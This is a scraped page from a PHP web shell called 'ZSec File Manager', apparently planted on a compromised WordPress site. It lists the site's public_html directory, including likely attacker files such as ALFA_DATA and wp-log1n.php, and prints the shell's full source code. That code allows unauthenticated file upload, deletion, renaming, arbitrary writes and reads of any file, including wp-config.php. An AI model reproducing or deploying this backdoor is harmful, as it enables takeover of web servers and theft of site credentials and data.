ZSec File Manager
Upload
Current Directory: /home/aiessinternational.com/public_html
[Up]
..
[Open]
Hapus
Rename
.htaccess
[Edit]
Hapus
Rename
21cbfe
[Open]
Hapus
Rename
ALFA_DATA
[Open]
Hapus
Rename
advance
[Open]
Hapus
Rename
advance.zip
[Edit]
Hapus
Rename
ammika.php
[Edit]
Hapus
Rename
c8aa5
[Open]
Hapus
Rename
click.php
[Edit]
Hapus
Rename
defaults.php
[Edit]
Hapus
Rename
google41b982abb0d9ca3b.html
[Edit]
Hapus
Rename
index.php
[Edit]
Hapus
Rename
index.php0
[Edit]
Hapus
Rename
item.php
[Edit]
Hapus
Rename
license.txt
[Edit]
Hapus
Rename
mah.php
[Edit]
Hapus
Rename
networks.php
[Edit]
Hapus
Rename
options.php
[Edit]
Hapus
Rename
plugins.php
[Edit]
Hapus
Rename
product.php
[Edit]
Hapus
Rename
readme.html
[Edit]
Hapus
Rename
robots.txt
[Edit]
Hapus
Rename
saiga.php
[Edit]
Hapus
Rename
search.php
[Edit]
Hapus
Rename
web.config
[Edit]
Hapus
Rename
wp-activate.php
[Edit]
Hapus
Rename
wp-admin
[Open]
Hapus
Rename
wp-blog-header.php
[Edit]
Hapus
Rename
wp-comments-post.php
[Edit]
Hapus
Rename
wp-config-sample.php
[Edit]
Hapus
Rename
wp-config.php
[Edit]
Hapus
Rename
wp-content
[Open]
Hapus
Rename
wp-cron.php
[Edit]
Hapus
Rename
wp-includes
[Open]
Hapus
Rename
wp-links-opml.php
[Edit]
Hapus
Rename
wp-load.php
[Edit]
Hapus
Rename
wp-log1n.php
[Edit]
Hapus
Rename
wp-mail.php
[Edit]
Hapus
Rename
wp-settings.php
[Edit]
Hapus
Rename
wp-signup.php
[Edit]
Hapus
Rename
wp-trackback.php
[Edit]
Hapus
Rename
wp.php
[Edit]
Hapus
Rename
xmlrpc.php
[Edit]
Hapus
Rename
Edit File
<?php session_start(); $dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.'); if ($dir === false || !is_dir($dir)) { die("Direktori tidak ditemukan!"); } if (isset($_POST['upload'])) { move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']); } if (isset($_POST['delete'])) { unlink($_POST['delete']); } if (isset($_POST['rename'])) { rename($_POST['oldname'], $_POST['newname']); } if (isset($_POST['save'])) { file_put_contents($_POST['filepath'], $_POST['content']); } ?> <!DOCTYPE html> <html> <head> <title>Mini File Manager</title> <style> body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; } a { color: #0af; text-decoration: none; } .container { width: 80%; margin: auto; text-align: left; } .box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; } input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; } .directory { font-weight: bold; } </style> </head> <body> <div class='container'> <h2>ZSec File Manager</h2> <form method='post' enctype='multipart/form-data'> <input type='file' name='file'> <button type='submit' name='upload'>Upload</button> </form> <div class='box'> <p class='directory'>Current Directory: <?php echo $dir; ?></p> <?php if (dirname($dir) !== $dir) : ?> <a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a> <?php endif; ?> <?php foreach (scandir($dir) as $file) { if ($file == '.') continue; $filePath = "$dir/$file"; if ($file == '..' && $dir === '/') continue; echo "<div>$file "; if (is_dir($filePath)) { echo "<a href='?dir=$filePath'>[Open]</a> "; } elseif (is_file($filePath)) { echo "<a href='?edit=$filePath'>[Edit]</a> "; } echo "<form method='post' style='display:inline;'> <input type='hidden' name='delete' value='$filePath'> <button type='submit'>Hapus</button> </form> <form method='post' style='display:inline;'> <input type='hidden' name='oldname' value='$filePath'> <input type='text' name='newname' placeholder='Nama baru'> <button type='submit' name='rename'>Rename</button> </form> </div>"; } ?> </div> </div> <?php if (isset($_GET['edit'])): ?> <?php $file = $_GET['edit']; ?> <div class='container'> <h3>Edit File</h3> <form method='post'> <input type='hidden' name='filepath' value='<?php echo $file; ?>'> <textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea> <button type='submit' name='save'>Simpan</button> </form> </div> <?php endif; ?> </body> </html>
Simpan